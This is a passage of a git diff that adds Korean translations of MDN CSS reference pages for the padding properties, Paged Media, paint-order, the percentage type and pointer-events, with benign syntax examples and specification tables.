+<p><strong>참고:</strong> {{cssxref("padding")}} 속성을 사용하면 하나의 선언으로 네 방향 여백을 모두 설정할 수 있습니다.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="brush:css no-line-numbers">/* &lt;length&gt; 값 */
+padding-left: 0.5em;
+padding-left: 0;
+padding-left: 2cm;
+
+/* &lt;percentage&gt; 값 */
+padding-left: 10%;
+
+/* 전역 값 */
+padding-left: inherit;
+padding-left: initial;
+padding-left: unset;
+</pre>
+
+<p><code>padding-left</code> 속성의 값은 아래 목록 중 하나로 지정할 수 있습니다. 바깥 여백<sup>margin</sup>과 다르게, 음수 값은 사용할 수 없습니다.</p>
+
+<h3 id="Values" name="Values">값</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;length&gt;")}}</dt>
+ <dd>여백의 크기로 고정값 사용.</dd>
+ <dt>{{cssxref("&lt;percentage&gt;")}}</dt>
+ <dd>여백의 크기로 <a href="/ko/docs/Web/CSS/All_About_The_Containing_Block">컨테이닝 블록</a> 너비의 백분율 사용.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Examples" name="Examples">예제</h2>
+
+<pre class="brush: css">.content { padding-left: 5%; }
+.sidebox { padding-left: 10px; }
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Box', '#the-padding', 'padding-left') }}</td>
+   <td>{{ Spec2('CSS3 Box') }}</td>
+   <td>No change.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Transitions', '#animatable-css', 'padding-left') }}</td>
+   <td>{{ Spec2('CSS3 Transitions') }}</td>
+   <td>Defines <code>padding-left</code> as animatable.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS2.1', 'box.html#padding-properties', 'padding-left') }}</td>
+   <td>{{ Spec2('CSS2.1') }}</td>
+   <td>No change.</td>
+  </tr>
+  <tr>
+   <td>{{ Specname('CSS1', '#padding-left', 'padding-left') }}</td>
+   <td>{{ Spec2('CSS1') }}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.padding-left")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a class="internal" href="/ko/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model" title="en/CSS/box model">CSS 기본 박스 모델 입문</a></li>
+ <li>{{cssxref("padding")}}</li>
+</ul>
diff --git a/files/ko/web/css/padding-right/index.html b/files/ko/web/css/padding-right/index.html
new file mode 100644
index 0000000000..44c0a5be73
--- /dev/null
+++ b/files/ko/web/css/padding-right/index.html
@@ -0,0 +1,109 @@
+---
+title: padding-right
+slug: Web/CSS/padding-right
+tags:
+  - CSS
+  - CSS Padding
+  - CSS Property
+  - Reference
+translation_of: Web/CSS/padding-right
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>padding-right</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> 속성은 요소의 오른쪽에 <a href="/ko/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model#padding-area">안쪽 여백 영역</a>을 설정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/padding-right.html")}}</div>
+
+
+
+<p>요소의 안쪽 여백 영역은 콘텐츠와 테두리 사이의 공간입니다.</p>
+
+<div class="note">
+<p><strong>참고:</strong> {{cssxref("padding")}} 속성을 사용하면 하나의 선언으로 네 방향 여백을 모두 설정할 수 있습니다.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="brush:css no-line-numbers">/* &lt;length&gt; 값 */
+padding-right: 0.5em;
+padding-right: 0;
+padding-right: 2cm;
+
+/* &lt;percentage&gt; 값 */
+padding-right: 10%;
+
+/* 전역 값 */
+padding-right: inherit;
+padding-right: initial;
+padding-right: unset;
+</pre>
+
+<p><code>padding-right</code> 속성의 값은 아래 목록 중 하나로 지정할 수 있습니다. 바깥 여백<sup>margin</sup>과 다르게, 음수 값은 사용할 수 없습니다.</p>
+
+<h3 id="Values" name="Values">값</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;length&gt;")}}</dt>
+ <dd>여백의 크기로 고정값 사용.</dd>
+ <dt>{{cssxref("&lt;percentage&gt;")}}</dt>
+ <dd>여백의 크기로 <a href="/ko/docs/Web/CSS/All_About_The_Containing_Block">컨테이닝 블록</a> 너비의 백분율 사용.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Examples" name="Examples">예제</h2>
+
+<pre class="brush: css">.content { padding-right: 5%; }
+.sidebox { padding-right: 10px; }
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Box', '#the-padding', 'padding-right') }}</td>
+   <td>{{ Spec2('CSS3 Box') }}</td>
+   <td>No change.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Transitions', '#animatable-css', 'padding-right') }}</td>
+   <td>{{ Spec2('CSS3 Transitions') }}</td>
+   <td>Defines <code>padding-right</code> as animatable.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS2.1', 'box.html#padding-properties', 'padding-right') }}</td>
+   <td>{{ Spec2('CSS2.1') }}</td>
+   <td>No change.</td>
+  </tr>
+  <tr>
+   <td>{{ Specname('CSS1', '#padding-right', 'padding-right') }}</td>
+   <td>{{ Spec2('CSS1') }}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.padding-right")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a class="internal" href="/ko/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model" title="en/CSS/box model">CSS 기본 박스 모델 입문</a></li>
+ <li>{{cssxref("padding")}}</li>
+</ul>
diff --git a/files/ko/web/css/padding-top/index.html b/files/ko/web/css/padding-top/index.html
new file mode 100644
index 0000000000..708dd59e5d
--- /dev/null
+++ b/files/ko/web/css/padding-top/index.html
@@ -0,0 +1,111 @@
+---
+title: padding-top
+slug: Web/CSS/padding-top
+tags:
+  - CSS
+  - CSS Padding
+  - CSS Property
+  - Reference
+translation_of: Web/CSS/padding-top
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>padding-top</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> 속성은 요소의 위쪽에 <a href="/ko/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model#padding-area">안쪽 여백 영역</a>을 설정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/padding-top.html")}}</div>
+
+
+
+<p>요소의 안쪽 여백 영역은 콘텐츠와 테두리 사이의 공간입니다.</p>
+
+<p><img alt="The effect of the CSS padding-top property on the element box" src="/files/4105/padding-top.svg" style="border-style: solid; border-width: 1px; display: block; margin: 0px auto;"></p>
+
+<div class="note">
+<p><strong>참고:</strong> {{cssxref("padding")}} 속성을 사용하면 하나의 선언으로 네 방향 여백을 모두 설정할 수 있습니다.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="brush:css no-line-numbers">/* &lt;length&gt; 값 */
+padding-top: 0.5em;
+padding-top: 0;
+padding-top: 2cm;
+
+/* &lt;percentage&gt; 값 */
+padding-top: 10%;
+
+/* 전역 값 */
+padding-top: inherit;
+padding-top: initial;
+padding-top: unset;
+</pre>
+
+<p><code>padding-top</code> 속성의 값은 아래 목록 중 하나로 지정할 수 있습니다. 바깥 여백<sup>margin</sup>과 다르게, 음수 값은 사용할 수 없습니다.</p>
+
+<h3 id="Values" name="Values">값</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;length&gt;")}}</dt>
+ <dd>여백의 크기로 고정값 사용.</dd>
+ <dt>{{cssxref("&lt;percentage&gt;")}}</dt>
+ <dd>여백의 크기로 <a href="/ko/docs/Web/CSS/All_About_The_Containing_Block">컨테이닝 블록</a> <strong>너비</strong>의 백분율 사용.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Examples" name="Examples">예제</h2>
+
+<pre class="brush: css">.content { padding-top: 5%; }
+.sidebox { padding-top: 10px; }
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Box', '#the-padding', 'padding-top') }}</td>
+   <td>{{ Spec2('CSS3 Box') }}</td>
+   <td>No change.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Transitions', '#animatable-css', 'padding-top') }}</td>
+   <td>{{ Spec2('CSS3 Transitions') }}</td>
+   <td>Defines <code>padding-top</code> as animatable.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS2.1', 'box.html#padding-properties', 'padding-top') }}</td>
+   <td>{{ Spec2('CSS2.1') }}</td>
+   <td>No change.</td>
+  </tr>
+  <tr>
+   <td>{{ Specname('CSS1', '#padding-top', 'padding-top') }}</td>
+   <td>{{ Spec2('CSS1') }}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.padding-top")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a class="internal" href="/ko/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model" title="en/CSS/box model">CSS 기본 박스 모델 입문</a></li>
+ <li>{{cssxref("padding")}}</li>
+</ul>
diff --git a/files/ko/web/css/padding/index.html b/files/ko/web/css/padding/index.html
new file mode 100644
index 0000000000..e69023e569
--- /dev/null
+++ b/files/ko/web/css/padding/index.html
@@ -0,0 +1,158 @@
+---
+title: padding
+slug: Web/CSS/padding
+tags:
+  - CSS
+  - CSS Padding
+  - CSS Property
+  - Reference
+translation_of: Web/CSS/padding
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>padding</code></strong> <a href="/ko/CSS">CSS</a> 속성은 요소의 네 방향 <a href="/ko/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model#padding-area">안쪽 여백 영역</a>을 설정합니다. {{cssxref("padding-top")}}, {{cssxref("padding-right")}}, {{cssxref("padding-bottom")}}, {{cssxref("padding-left")}}의 단축 속성입니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/padding.html")}}</div>
+
+
+
+<p>요소의 안쪽 여백 영역은 콘텐츠와 테두리 사이의 공간입니다.</p>
+
+<div class="note">
+<p><strong>참고:</strong> <code>padding</code>은 요소의 내부에 빈 공간을 추가합니다. 반면 {{cssxref("margin")}}은 요소의 <strong>주위</strong>에 빈 공간을 만듭니다.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush:css no-line-numbers">/* 네 면 모두 적용 */
+padding: 1em;
+
+/* 세로방향 | 가로방향 */
+padding: 5% 10%;
+
+/* 위 | 가로방향 | 아래 */
+padding: 1em 2em 2em;
+
+/* 위 | 오른쪽 | 아래 | 왼쪽 */
+padding: 5px 1em 0 2em;
+
+/* 전역 값 */
+padding: inherit;
+padding: initial;
+padding: unset;
+</pre>
+
+<p><font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">padding</span></font> 속성은 한 개, 두 개, 세 개, 혹은 네 개의 값으로 지정할 수 있습니다. 각 값은 {{cssxref("&lt;length&gt;")}}, {{cssxref("&lt;percentage&gt;")}} 중 하나로, 음수 값은 유효하지 않습니다.</p>
+
+<ul>
+ <li><strong>한 개의 값</strong>은 모든 네 면의 여백을 설정합니다.</li>
+ <li><strong>두 개의 값</strong>을 지정하면 첫 번째는 <strong>위와 아래</strong>, 두 번째는 <strong>왼쪽과 오른쪽</strong> 여백을 설정합니다.</li>
+ <li><strong>세 개의 값</strong>을 지정하면 첫 번째는 <strong>위</strong>, 두 번째는 <strong>왼쪽과 오른쪽,</strong> 세 번째 값은 <strong>아래</strong> 여백을 설정합니다.</li>
+ <li><strong>네 개의 값</strong>을 지정하면 각각 <strong>상, 우, 하, 좌</strong> 순서로 여백을 지정합니다. (시계방향)</li>
+</ul>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><strong>{{cssxref("length")}}</strong></dt>
+ <dd>여백의 크기로 고정값 사용.</dd>
+ <dt>{{cssxref("percentage")}}</dt>
+ <dd>여백의 크기로 <a href="/ko/docs/Web/CSS/All_About_The_Containing_Block">컨테이닝 블록</a> 너비의 백분율 사용.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="간단한_예제">간단한 예제</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;h4&gt;평범한 안쪽 여백을 가진 요소.&lt;/h4&gt;
+&lt;h3&gt;엄청난 안쪽 여백을 가진 요소!&lt;/h3&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">h4 {
+  background-color: lime;
+  padding: 20px 50px;
+}
+
+h3 {
+  background-color: cyan;
+  padding: 110px 50px 50px 110px;
+}
+</pre>
+
+<p><span>{{EmbedLiveSample('간단한_예제', '100%', 300)}}</span></p>
+
+<h3 id="더_많은_예제"><span>더 많은 예제</span></h3>
+
+<pre class="brush: css">padding: 5%;                /* 모두 5% */
+
+padding: 10px;              /* 모두 10px */
+
+padding: 10px 20px;         /* 상하: 10px */
+                            /* 좌우: 20px */
+
+padding: 10px 3% 20px;      /* 상: 10px */
+                            /* 좌우: 3% */
+                            /* 하: 20px */
+
+padding: 1em 3px 30px 5px;  /* 상:  1em */
+                            /* 우:  3px */
+                            /* 하: 30px */
+                            /* 좌:  5px */
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Box', '#the-padding', 'padding') }}</td>
+   <td>{{ Spec2('CSS3 Box') }}</td>
+   <td>No change.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Transitions', '#animatable-css', 'padding') }}</td>
+   <td>{{ Spec2('CSS3 Transitions') }}</td>
+   <td>Defines <code>padding</code> as animatable.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS2.1', 'box.html#propdef-padding', 'padding') }}</td>
+   <td>{{ Spec2('CSS2.1') }}</td>
+   <td>No change.</td>
+  </tr>
+  <tr>
+   <td>{{ Specname('CSS1', '#padding', 'padding') }}</td>
+   <td>{{ Spec2('CSS1') }}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.padding")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model">CSS 기본 박스 모델 입문</a></li>
+ <li>{{cssxref("padding-top")}}, {{cssxref("padding-right")}}, {{cssxref("padding-bottom")}}, {{cssxref("padding-left")}}.</li>
+</ul>
diff --git a/files/ko/web/css/paged_media/index.html b/files/ko/web/css/paged_media/index.html
new file mode 100644
index 0000000000..fd998e8d03
--- /dev/null
+++ b/files/ko/web/css/paged_media/index.html
@@ -0,0 +1,19 @@
+---
+title: Paged Media
+slug: Web/CSS/Paged_Media
+tags:
+  - CSS
+  - CSS3
+  - Page Breaks
+translation_of: Web/CSS/Paged_Media
+---
+<p>인쇄 미디어(paged media) 속성은 인쇄 콘텐츠의 프레젠테이션 또는 콘텐츠를 개별 페이지로 나누는 다른 미디어를 제어합니다. 페이지 나누기 설정, 인쇄 가능 영역 제어, 서로 다른 좌우 페이지 스타일 및 요소 내부 나누기 제어를 할 수 있습니다. 널리 지원되는 속성은 포함합니다</p>
+
+<ul>
+ <li>{{ cssxref("page-break-before") }}</li>
+ <li>{{ cssxref("page-break-after") }}</li>
+ <li>{{ cssxref("page-break-inside") }}</li>
+ <li>{{ cssxref("orphans") }}</li>
+ <li>{{ cssxref("widows") }}</li>
+ <li>{{ cssxref("@page") }}</li>
+</ul>
diff --git a/files/ko/web/css/paint-order/index.html b/files/ko/web/css/paint-order/index.html
new file mode 100644
index 0000000000..00b7ff9311
--- /dev/null
+++ b/files/ko/web/css/paint-order/index.html
@@ -0,0 +1,110 @@
+---
+title: paint-order
+slug: Web/CSS/paint-order
+tags:
+  - CSS
+  - Reference
+  - SVG
+  - Web
+  - 'recipe:css-property'
+translation_of: Web/CSS/paint-order
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>paint-order</code></strong> 속성은 텍스트 및 모양의 채움 색과 테두리(마커 포함)를 그리는 순서를 지정합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: css no-line-numbers notranslate">/* 일반 */
+paint-order: normal;
+
+/* 단일 값 */
+paint-order: stroke; /* draw the stroke first, then fill and markers */
+paint-order: markers; /* draw the markers first, then fill and stroke */
+
+/* 다중 값 */
+paint-order: stroke fill; /* draw the stroke first, then the fill, then the markers */
+paint-order: markers stroke fill; /* draw markers, then stroke, then fill */
+</pre>
+
+<p>아무것도 지정하지 않았을 때의 기본값은 <code>fill</code>, <code>stroke</code>, <code>markers</code>입니다.</p>
+
+<p>하나의 값만 지정하면 그 값을 제일 먼저 그린 후, 기본값의 순서에 따라 나머지를 그립니다. 두 개를 지정하면 나머지 하나를 맨 나중에 그립니다.</p>
+
+<div class="note">
+<p><strong>참고</strong>: 마커의 경우 <code>marker-*</code> 속성(<code><a href="/ko/docs/Web/SVG/Attribute/marker-start">marker-start</a></code> 등)과 <code><a href="/ko/docs/Web/SVG/Element/marker">&lt;marker&gt;</a></code> 요소를 사용하는 SVG 모양의 경우에만 올바릅니다. HTML 텍스트는 이에 해당하지 않으므로 <code>stroke</code>와 <code>fill</code>의 순서만 정할 수 있습니다.</p>
+</div>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>normal</code></dt>
+ <dd>일반적인 그리기 순서를 사용합니다.</dd>
+ <dt><code>stroke</code>,<br>
+ <code>fill</code>,<br>
+ <code>markers</code></dt>
+ <dd>일부 항목 또는 모든 항목의 그리기 순서를 지정합니다.</dd>
+</dl>
+
+<h2 id="형식_정의">형식 정의</h2>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="형식_구문">형식 구문</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="테두리와_채움_색_순서_바꾸기">테두리와 채움 색 순서 바꾸기</h3>
+
+<h4 id="SVG">SVG</h4>
+
+<pre class="brush: html notranslate">&lt;svg xmlns="http://www.w3.org/2000/svg" width="400" height="200"&gt;
+  &lt;text x="10" y="75"&gt;stroke in front&lt;/text&gt;
+  &lt;text x="10" y="150" class="stroke-behind"&gt;stroke behind&lt;/text&gt;
+&lt;/svg&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">text {
+  font-family: sans-serif;
+  font-size: 50px;
+  font-weight: bold;
+  fill: black;
+  stroke: red;
+  stroke-width: 4px;
+}
+
+.stroke-behind {
+  paint-order: stroke fill;
+}</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample("테두리와_채움_색_순서_바꾸기", "100%", 165)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("SVG2", "painting.html#PaintOrder", "paint-order")}}</td>
+   <td>{{Spec2("SVG2")}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.paint-order")}}</p>
diff --git a/files/ko/web/css/percentage/index.html b/files/ko/web/css/percentage/index.html
new file mode 100644
index 0000000000..a6bf20bfb6
--- /dev/null
+++ b/files/ko/web/css/percentage/index.html
@@ -0,0 +1,86 @@
+---
+title: <percentage>
+slug: Web/CSS/percentage
+tags:
+  - CSS
+  - CSS Data Type
+  - Layout
+  - Reference
+  - Web
+translation_of: Web/CSS/percentage
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>&lt;percentage&gt;</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> <a href="/ko/docs/Web/CSS/CSS_Types">자료형</a>은 백분율 값을 나타냅니다. 보통 부모 객체와의 상대적 크기를 지정할 때 사용합니다. {{Cssxref("width")}}, {{Cssxref("height")}}, {{Cssxref("margin")}}, {{Cssxref("padding")}}, {{Cssxref("font-size")}} 처럼 다양한 속성에서 백분율을 쓸 수 있습니다.</p>
+
+<div class="note"><strong>참고:</strong> 계산된 값만 상속받을 수 있습니다. 따라서 부모 속성이 백분율 값을 사용하더라도 전달되는 값은 실제값(예컨대 너비의 {{cssxref("&lt;length&gt;")}} 값은 픽셀)이며 백분율 값은 접근할 수 없습니다.</div>
+
+<h2 id="구문">구문</h2>
+
+<p><code>&lt;percentage&gt;</code> 자료형은 {{cssxref("&lt;number&gt;")}}와 그 뒤의 백분율 기호(<code>%</code>)로 표기합니다. 선택적으로 하나의 <code>+</code> 또는 <code>-</code> 기호로 부호를 표기할 수 있지만, 음의 값은 어떤 속성에서도 유효하지 않습니다. 다른 CSS 단위와 마찬가지로 숫자와 기호 사이에 공백은 없습니다.</p>
+
+<h2 id="보간">보간</h2>
+
+<p>애니메이션에서 <code>&lt;percentage&gt;</code> 자료형의 값은 유동소수점 실수를 사용해 보간됩니다. 보간의 속도는 애니메이션과 연결된 <a href="/ko/docs/Web/CSS/single-transition-timing-function">타이밍 함수</a>가 결정합니다.</p>
+
+<h2 id="예제"><strong>예제</strong></h2>
+
+<h3 id="width와_margin-left"><code>width</code>와 <code>margin-left</code></h3>
+
+<pre class="brush: html">&lt;div style="background-color:blue;"&gt;
+  &lt;div style="width:50%; margin-left:20%; background-color:lime;"&gt;
+    width: 50%, margin-left: 20%
+  &lt;/div&gt;
+  &lt;div style="width:30%; margin-left:60%; background-color:pink;"&gt;
+    width: 30%, margin-left: 60%
+  &lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{EmbedLiveSample('width와_margin-left', '600', 140)}}</p>
+
+<h3 id="font-size"><code>font-size</code></h3>
+
+<pre class="brush: html">&lt;div style="font-size:18px;"&gt;
+  &lt;p&gt;원본 텍스트 (18px)&lt;/p&gt;
+  &lt;p&gt;&lt;span style="font-size:50%;"&gt;50%&lt;/span&gt;&lt;/p&gt;
+  &lt;p&gt;&lt;span style="font-size:200%;"&gt;200%&lt;/span&gt;&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{EmbedLiveSample('font-size', 'auto', 160)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Values', '#percentages', '&lt;percentage&gt;')}}</td>
+   <td>{{Spec2('CSS3 Values')}}</td>
+   <td>No significant change from CSS Level 2 (Revision 1).</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'syndata.html#percentage-units', '&lt;percentage&gt;')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>No change from CSS Level 1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#percentage-units', '&lt;percentage&gt;')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.types.percentage")}}</p>
diff --git a/files/ko/web/css/pointer-events/index.html b/files/ko/web/css/pointer-events/index.html
new file mode 100644
index 0000000000..db74788d89
--- /dev/null
+++ b/files/ko/web/css/pointer-events/index.html
@@ -0,0 +1,168 @@
+---
+title: pointer-events
+slug: Web/CSS/pointer-events
+tags:
+  - CSS
+  - CSS Property
+  - Reference
+  - SVG
+translation_of: Web/CSS/pointer-events
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>pointer-events</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> 속성은 그래픽 요소가 어떤 상황에서 포인터 이벤트의 <a href="/ko/docs/Web/API/Event/target">대상</a>이 될 수 있는지 지정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/pointer-events.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: css no-line-numbers notranslate">/* 키워드 값 */
+pointer-events: auto;
+pointer-events: none;
+pointer-events: visiblePainted; /* SVG only */
+pointer-events: visibleFill;    /* SVG only */
+pointer-events: visibleStroke;  /* SVG only */
+pointer-events: visible;        /* SVG only */
+pointer-events: painted;        /* SVG only */
+pointer-events: fill;           /* SVG only */
+pointer-events: stroke;         /* SVG only */
+pointer-events: all;            /* SVG only */
+
+/* 전역 값 */
+pointer-events: inherit;
+pointer-events: initial;
+pointer-events: unset;
+</pre>
+
+<p><code>pointer-events</code> 속성은 아래 목록의 값 중 하나를 선택해서 지정할 수 있습니다.</p>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>요소가 <code>pointer-events</code> 속성을 지정하지 않은 것처럼 행동합니다. SVG 콘텐츠에서는 <code>auto</code>와 <code>visiblePainted</code>가 동일한 효과를 지닙니다.</dd>
+</dl>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>요소가 포인터 이벤트의 대상이 되지 않습니다. 그러나 해당 요소의 자손이 다른 <code>pointer-events</code> 값을 지정한 경우, 그 자손은 대상이 될 수 있습니다. 이 때는 이벤트 캡처/<a href="/ko/docs/Web/API/Event/bubbles">버블</a> 단계에서 <code>none</code>을 지정한 요소의 이벤트 처리기를 발동할 수 있습니다.</dd>
+</dl>
+
+<h4 id="SVG_전용_HTML에서_실험적_기능">SVG 전용 (HTML에서 실험적 기능)</h4>
+
+<dl>
+ <dt><code>visiblePainted</code></dt>
+ <dd>SVG only. The element can only be the target of a mouse event when the <code>visibility</code> property is set to <code>visible</code> and when the mouse cursor is over the interior (i.e., 'fill') of the element and the <code>fill</code> property is set to a value other than <code>none</code>, or when the mouse cursor is over the perimeter (i.e., 'stroke') of the element and the <code>stroke</code> property is set to a value other than <code>none</code>.</dd>
+ <dt><code>visibleFill</code></dt>
+ <dd>SVG only. The element can only be the target of a mouse event when the <code>visibility</code> property is set to <code>visible</code> and when the mouse cursor is over the interior (i.e., fill) of the element. The value of the <code>fill</code> property does not affect event processing.</dd>
+ <dt><code>visibleStroke</code></dt>
+ <dd>SVG only. The element can only be the target of a mouse event when the <code>visibility</code> property is set to <code>visible</code> and when the mouse cursor is over the perimeter (i.e., stroke) of the element. The value of the <code>stroke</code> property does not affect event processing.</dd>
+ <dt><code>visible</code></dt>
+ <dd>SVG only. The element can be the target of a mouse event when the <code>visibility</code> property is set to <code>visible</code> and the mouse cursor is over either the interior (i.e., fill) or the perimeter (i.e., stroke) of the element. The values of the <code>fill</code> and <code>stroke</code> do not affect event processing.</dd>
+ <dt><code>painted</code></dt>
+ <dd>SVG only. The element can only be the target of a mouse event when the mouse cursor is over the interior (i.e., 'fill') of the element and the <code>fill</code> property is set to a value other than <code>none</code>, or when the mouse cursor is over the perimeter (i.e., 'stroke') of the element and the <code>stroke</code> property is set to a value other than <code>none</code>. The value of the <code>visibility</code> property does not affect event processing.</dd>
+ <dt><code>fill</code></dt>
+ <dd>SVG only. The element can only be the target of a mouse event when the pointer is over the interior (i.e., fill) of the element. The values of the <code>fill</code> and <code>visibility</code> properties do not affect event processing.</dd>
+ <dt><code>stroke</code></dt>
+ <dd>SVG only. The element can only be the target of a mouse event when the pointer is over the perimeter (i.e., stroke) of the element. The values of the <code>stroke</code> and <code>visibility</code> properties do not affect event processing.</dd>
+ <dt><code>all</code></dt>
+ <dd>SVG only. The element can only be the target of a mouse event when the pointer is over the interior (i.e., fill) or the perimeter (i.e., stroke) of the element. The values of the <code>fill</code>, <code>stroke</code> and <code>visibility</code> properties do not affect event processing.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
